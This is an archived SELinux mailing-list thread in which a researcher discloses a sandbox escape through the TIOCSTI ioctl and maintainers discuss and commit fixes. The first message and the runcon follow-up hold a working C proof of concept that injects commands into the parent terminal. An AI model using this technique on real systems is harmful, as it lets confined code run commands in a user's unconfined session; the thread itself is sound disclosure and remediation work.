All of lore.kernel.org
 help / color / mirror / Atom feed
* SELinux sandbox escape via TIOCSTI ioctl
@ 2016-09-23  9:23 up201407890
  2016-09-23 13:28 ` Paul Moore
  2016-09-23 20:14 ` Stephen Smalley
  0 siblings, 2 replies; 9+ messages in thread
From: up201407890 @ 2016-09-23  9:23 UTC (permalink / raw)
  To: selinux

Hi,

When executing a program via the SELinux sandbox, the nonpriv session  
can escape to the parent session by using the TIOCSTI ioctl to push  
characters into the terminal's input buffer, allowing an attacker to  
escape the sandbox.

$ cat test.c
#include <unistd.h>
#include <sys/ioctl.h>

int main()
{
   char *cmd = "id\n";
   while(*cmd)
    ioctl(0, TIOCSTI, cmd++);
   execlp("/bin/id", "id", NULL);
}

$ gcc test.c -o test
$ /bin/sandbox ./test
id
uid=1000 gid=1000 groups=1000  
context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176
$ id    <------ did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)  
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


This is similar to CVE-2016-2568, CVE-2016-2779, etc.

Thanks,
Federico Bento.

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: SELinux sandbox escape via TIOCSTI ioctl
  2016-09-23  9:23 SELinux sandbox escape via TIOCSTI ioctl up201407890
@ 2016-09-23 13:28 ` Paul Moore
  2016-09-23 13:38   ` Stephen Smalley
  2016-09-23 20:14 ` Stephen Smalley
  1 sibling, 1 reply; 9+ messages in thread
From: Paul Moore @ 2016-09-23 13:28 UTC (permalink / raw)
  To: up201407890, selinux

On Fri, Sep 23, 2016 at 5:23 AM,  <up201407890@alunos.dcc.fc.up.pt> wrote:
> Hi,
>
> When executing a program via the SELinux sandbox, the nonpriv session can
> escape to the parent session by using the TIOCSTI ioctl to push characters
> into the terminal's input buffer, allowing an attacker to escape the
> sandbox.
>
> $ cat test.c
> #include <unistd.h>
> #include <sys/ioctl.h>
>
> int main()
> {
>   char *cmd = "id\n";
>   while(*cmd)
>    ioctl(0, TIOCSTI, cmd++);
>   execlp("/bin/id", "id", NULL);
> }
>
> $ gcc test.c -o test
> $ /bin/sandbox ./test
> id
> uid=1000 gid=1000 groups=1000
> context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176
> $ id    <------ did not type this
> uid=1000(saken) gid=1000(saken) groups=1000(saken)
> context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

I've only just started looking at this, but it seems like we need a
call to tcflush()/ioctl(TCFLSH) in the sandbox tool immediately after
the sandboxed process exits.  Do any of the userspace tools guys have
any other ideas?

-- 
paul moore
www.paul-moore.com

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: SELinux sandbox escape via TIOCSTI ioctl
  2016-09-23 13:28 ` Paul Moore
@ 2016-09-23 13:38   ` Stephen Smalley
  2016-09-23 13:48     ` Stephen Smalley
  2016-09-23 13:56     ` Paul Moore
  0 siblings, 2 replies; 9+ messages in thread
From: Stephen Smalley @ 2016-09-23 13:38 UTC (permalink / raw)
  To: Paul Moore, up201407890, selinux

On 09/23/2016 09:28 AM, Paul Moore wrote:
> On Fri, Sep 23, 2016 at 5:23 AM,  <up201407890@alunos.dcc.fc.up.pt> wrote:
>> Hi,
>>
>> When executing a program via the SELinux sandbox, the nonpriv session can
>> escape to the parent session by using the TIOCSTI ioctl to push characters
>> into the terminal's input buffer, allowing an attacker to escape the
>> sandbox.
>>
>> $ cat test.c
>> #include <unistd.h>
>> #include <sys/ioctl.h>
>>
>> int main()
>> {
>>   char *cmd = "id\n";
>>   while(*cmd)
>>    ioctl(0, TIOCSTI, cmd++);
>>   execlp("/bin/id", "id", NULL);
>> }
>>
>> $ gcc test.c -o test
>> $ /bin/sandbox ./test
>> id
>> uid=1000 gid=1000 groups=1000
>> context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176
>> $ id    <------ did not type this
>> uid=1000(saken) gid=1000(saken) groups=1000(saken)
>> context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
> 
> I've only just started looking at this, but it seems like we need a
> call to tcflush()/ioctl(TCFLSH) in the sandbox tool immediately after
> the sandboxed process exits.  Do any of the userspace tools guys have
> any other ideas?

Normally this is handled via setsid() or via a pty interposer.
seunshare does call setsid(), so I believe that sandbox -X or -M are not
susceptible to this, but sandbox without those options does not use
seunshare.  run_init for example uses a pty interposer.  Another
alternative would be to use the ioctl whitelisting support added by
Android to block use of TIOCSTI by the sandbox domains, but it is
unclear if that is sufficient.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: SELinux sandbox escape via TIOCSTI ioctl
  2016-09-23 13:38   ` Stephen Smalley
@ 2016-09-23 13:48     ` Stephen Smalley
  2016-09-23 13:56     ` Paul Moore
  1 sibling, 0 replies; 9+ messages in thread
From: Stephen Smalley @ 2016-09-23 13:48 UTC (permalink / raw)
  To: Paul Moore, up201407890, selinux, Petr Lautrbach, Daniel J Walsh

On 09/23/2016 09:38 AM, Stephen Smalley wrote:
> On 09/23/2016 09:28 AM, Paul Moore wrote:
>> On Fri, Sep 23, 2016 at 5:23 AM,  <up201407890@alunos.dcc.fc.up.pt> wrote:
>>> Hi,
>>>
>>> When executing a program via the SELinux sandbox, the nonpriv session can
>>> escape to the parent session by using the TIOCSTI ioctl to push characters
>>> into the terminal's input buffer, allowing an attacker to escape the
>>> sandbox.
>>>
>>> $ cat test.c
>>> #include <unistd.h>
>>> #include <sys/ioctl.h>
>>>
>>> int main()
>>> {
>>>   char *cmd = "id\n";
>>>   while(*cmd)
>>>    ioctl(0, TIOCSTI, cmd++);
>>>   execlp("/bin/id", "id", NULL);
>>> }
>>>
>>> $ gcc test.c -o test
>>> $ /bin/sandbox ./test
>>> id
>>> uid=1000 gid=1000 groups=1000
>>> context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176
>>> $ id    <------ did not type this
>>> uid=1000(saken) gid=1000(saken) groups=1000(saken)
>>> context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
>>
>> I've only just started looking at this, but it seems like we need a
>> call to tcflush()/ioctl(TCFLSH) in the sandbox tool immediately after
>> the sandboxed process exits.  Do any of the userspace tools guys have
>> any other ideas?
> 
> Normally this is handled via setsid() or via a pty interposer.
> seunshare does call setsid(), so I believe that sandbox -X or -M are not
> susceptible to this, but sandbox without those options does not use
> seunshare.  run_init for example uses a pty interposer.  Another
> alternative would be to use the ioctl whitelisting support added by
> Android to block use of TIOCSTI by the sandbox domains, but it is
> unclear if that is sufficient.

So, for example, to block this via ioctl whitelisting, on a system whose
checkpolicy and kernel supports policy version 30, I can do this:
$ cat sandbox_tiocsti.cil
(allowx sandbox_domain ptynode (ioctl chr_file (not (0x5412))))
$ sudo semodule -i sandbox_tiocsti.cil
$ sandbox ./test
uid=1000 gid=1000 groups=1000
context=unconfined_u:unconfined_r:sandbox_t:s0:c466,c667

(note that we do not get the second output from the parent, and this
output was run in the context of the sandbox domain)

And we get the following AVC from the kernel:
type=AVC msg=audit(1474638454.617:6045): avc:  denied  { ioctl } for
pid=2935 comm="test" path="/dev/pts/0" dev="devpts" ino=3 ioctlcmd=5412
scontext=unconfined_u:unconfined_r:sandbox_t:s0:c72,c552
tcontext=unconfined_u:object_r:user_devpts_t:s0 tclass=chr_file permissive=0

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: SELinux sandbox escape via TIOCSTI ioctl
  2016-09-23 13:38   ` Stephen Smalley
  2016-09-23 13:48     ` Stephen Smalley
@ 2016-09-23 13:56     ` Paul Moore
  1 sibling, 0 replies; 9+ messages in thread
From: Paul Moore @ 2016-09-23 13:56 UTC (permalink / raw)
  To: Stephen Smalley; +Cc: Paul Moore, up201407890, selinux

On Fri, Sep 23, 2016 at 9:38 AM, Stephen Smalley <sds@tycho.nsa.gov> wrote:
> On 09/23/2016 09:28 AM, Paul Moore wrote:
>> On Fri, Sep 23, 2016 at 5:23 AM,  <up201407890@alunos.dcc.fc.up.pt> wrote:
>>> Hi,
>>>
>>> When executing a program via the SELinux sandbox, the nonpriv session can
>>> escape to the parent session by using the TIOCSTI ioctl to push characters
>>> into the terminal's input buffer, allowing an attacker to escape the
>>> sandbox.
>>>
>>> $ cat test.c
>>> #include <unistd.h>
>>> #include <sys/ioctl.h>
>>>
>>> int main()
>>> {
>>>   char *cmd = "id\n";
>>>   while(*cmd)
>>>    ioctl(0, TIOCSTI, cmd++);
>>>   execlp("/bin/id", "id", NULL);
>>> }
>>>
>>> $ gcc test.c -o test
>>> $ /bin/sandbox ./test
>>> id
>>> uid=1000 gid=1000 groups=1000
>>> context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176
>>> $ id    <------ did not type this
>>> uid=1000(saken) gid=1000(saken) groups=1000(saken)
>>> context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
>>
>> I've only just started looking at this, but it seems like we need a
>> call to tcflush()/ioctl(TCFLSH) in the sandbox tool immediately after
>> the sandboxed process exits.  Do any of the userspace tools guys have
>> any other ideas?
>
> Normally this is handled via setsid() or via a pty interposer.
> seunshare does call setsid(), so I believe that sandbox -X or -M are not
> susceptible to this, but sandbox without those options does not use
> seunshare.  run_init for example uses a pty interposer.

Good.  I had a feeling there was a simpler way to do this considering
the nature of the problem.

> Another
> alternative would be to use the ioctl whitelisting support added by
> Android to block use of TIOCSTI by the sandbox domains, but it is
> unclear if that is sufficient.

Filtering the specific ioctl is also possible with seccomp.

However, I think we need a solution that doesn't rely on the fine
grained ioctl controls as it is still relatively new and there are a
number of systems which don't currently support that functionality.

-- 
paul moore
security @ redhat

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: SELinux sandbox escape via TIOCSTI ioctl
  2016-09-23  9:23 SELinux sandbox escape via TIOCSTI ioctl up201407890
  2016-09-23 13:28 ` Paul Moore
@ 2016-09-23 20:14 ` Stephen Smalley
  2016-09-24  9:57   ` up201407890
  1 sibling, 1 reply; 9+ messages in thread
From: Stephen Smalley @ 2016-09-23 20:14 UTC (permalink / raw)
  To: up201407890, selinux, Paul Moore

On 09/23/2016 05:23 AM, up201407890@alunos.dcc.fc.up.pt wrote:
> Hi,
> 
> When executing a program via the SELinux sandbox, the nonpriv session
> can escape to the parent session by using the TIOCSTI ioctl to push
> characters into the terminal's input buffer, allowing an attacker to
> escape the sandbox.
> 
> $ cat test.c
> #include <unistd.h>
> #include <sys/ioctl.h>
> 
> int main()
> {
>   char *cmd = "id\n";
>   while(*cmd)
>    ioctl(0, TIOCSTI, cmd++);
>   execlp("/bin/id", "id", NULL);
> }
> 
> $ gcc test.c -o test
> $ /bin/sandbox ./test
> id
> uid=1000 gid=1000 groups=1000
> context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176
> $ id    <------ did not type this
> uid=1000(saken) gid=1000(saken) groups=1000(saken)
> context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
> 
> 
> This is similar to CVE-2016-2568, CVE-2016-2779, etc.

Thank you for the bug report. This bug is now fixed in upstream commit
acca96a135a4d2a028ba9b636886af99c0915379.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: SELinux sandbox escape via TIOCSTI ioctl
  2016-09-23 20:14 ` Stephen Smalley
@ 2016-09-24  9:57   ` up201407890
  2016-09-25 13:25     ` Paul Moore
  0 siblings, 1 reply; 9+ messages in thread
From: up201407890 @ 2016-09-24  9:57 UTC (permalink / raw)
  To: Stephen Smalley; +Cc: selinux, Paul Moore

Quoting "Stephen Smalley" <sds@tycho.nsa.gov>:

> Thank you for the bug report. This bug is now fixed in upstream commit
> acca96a135a4d2a028ba9b636886af99c0915379.

Cool, thanks. Though it'll lose job control, that's why most 'su-like'  
programs refuse to patch this and are still vulnerable.

Anyways, the same happens with the 'runcon' utility:

$ cat test.c
#include <unistd.h>
#include <sys/ioctl.h>

int main()
{
   char *cmd = "id\n";
   while(*cmd)
    ioctl(0, TIOCSTI, cmd++);
   execlp("/bin/id", "id", NULL);
}
$ gcc test.c -o test
$ runcon -t sandbox_t ./test
id
uid=1000 gid=1000 groups=1000  
context=unconfined_u:unconfined_r:sandbox_t:s0-s0:c0.c1023
$ id
uid=1000(saken) gid=1000(saken) groups=1000(saken)  
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Should it be also patched there?

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: SELinux sandbox escape via TIOCSTI ioctl
  2016-09-24  9:57   ` up201407890
@ 2016-09-25 13:25     ` Paul Moore
  2016-09-26 12:52       ` Stephen Smalley
  0 siblings, 1 reply; 9+ messages in thread
From: Paul Moore @ 2016-09-25 13:25 UTC (permalink / raw)
  To: up201407890; +Cc: Stephen Smalley, selinux

On Sat, Sep 24, 2016 at 5:57 AM,  <up201407890@alunos.dcc.fc.up.pt> wrote:
> Quoting "Stephen Smalley" <sds@tycho.nsa.gov>:
>> Thank you for the bug report. This bug is now fixed in upstream commit
>> acca96a135a4d2a028ba9b636886af99c0915379.
>
> Cool, thanks. Though it'll lose job control, that's why most 'su-like'
> programs refuse to patch this and are still vulnerable.

I think we should wait and and see if people complain about the loss
of job control; I'd rather see us fix the problem with TIOCSTI.

> Anyways, the same happens with the 'runcon' utility:

I don't think we need to fix this for runcon, as it isn't as
sandboxing tool like sandbox, and the loss of job control would likely
be much more noticeable for runcon.

-- 
paul moore
www.paul-moore.com

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: SELinux sandbox escape via TIOCSTI ioctl
  2016-09-25 13:25     ` Paul Moore
@ 2016-09-26 12:52       ` Stephen Smalley
  0 siblings, 0 replies; 9+ messages in thread
From: Stephen Smalley @ 2016-09-26 12:52 UTC (permalink / raw)
  To: Paul Moore, up201407890; +Cc: selinux

On 09/25/2016 09:25 AM, Paul Moore wrote:
> On Sat, Sep 24, 2016 at 5:57 AM,  <up201407890@alunos.dcc.fc.up.pt> wrote:
>> Quoting "Stephen Smalley" <sds@tycho.nsa.gov>:
>>> Thank you for the bug report. This bug is now fixed in upstream commit
>>> acca96a135a4d2a028ba9b636886af99c0915379.
>>
>> Cool, thanks. Though it'll lose job control, that's why most 'su-like'
>> programs refuse to patch this and are still vulnerable.
> 
> I think we should wait and and see if people complain about the loss
> of job control; I'd rather see us fix the problem with TIOCSTI.
> 
>> Anyways, the same happens with the 'runcon' utility:
> 
> I don't think we need to fix this for runcon, as it isn't as
> sandboxing tool like sandbox, and the loss of job control would likely
> be much more noticeable for runcon.

FWIW, this issue can be addressed through policy without changes to
runcon in one of two ways:

1) Policy can prevent the new context from using the controlling tty at
all, in which case the kernel will reset the controlling tty
automatically (flush_unauthorized_files() in security/selinux/hooks.c),

2) Policy can allow the new context to read/write the tty but prevent
use of TIOCSTI in particular via the ioctl whitelisting support
introduced in Linux 4.3 and libsepol/checkpolicy 2.5.

^ permalink raw reply	[flat|nested] 9+ messages in thread

end of thread, other threads:[~2016-09-26 12:52 UTC | newest]

Thread overview: 9+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2016-09-23  9:23 SELinux sandbox escape via TIOCSTI ioctl up201407890
2016-09-23 13:28 ` Paul Moore
2016-09-23 13:38   ` Stephen Smalley
2016-09-23 13:48     ` Stephen Smalley
2016-09-23 13:56     ` Paul Moore
2016-09-23 20:14 ` Stephen Smalley
2016-09-24  9:57   ` up201407890
2016-09-25 13:25     ` Paul Moore
2016-09-26 12:52       ` Stephen Smalley

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.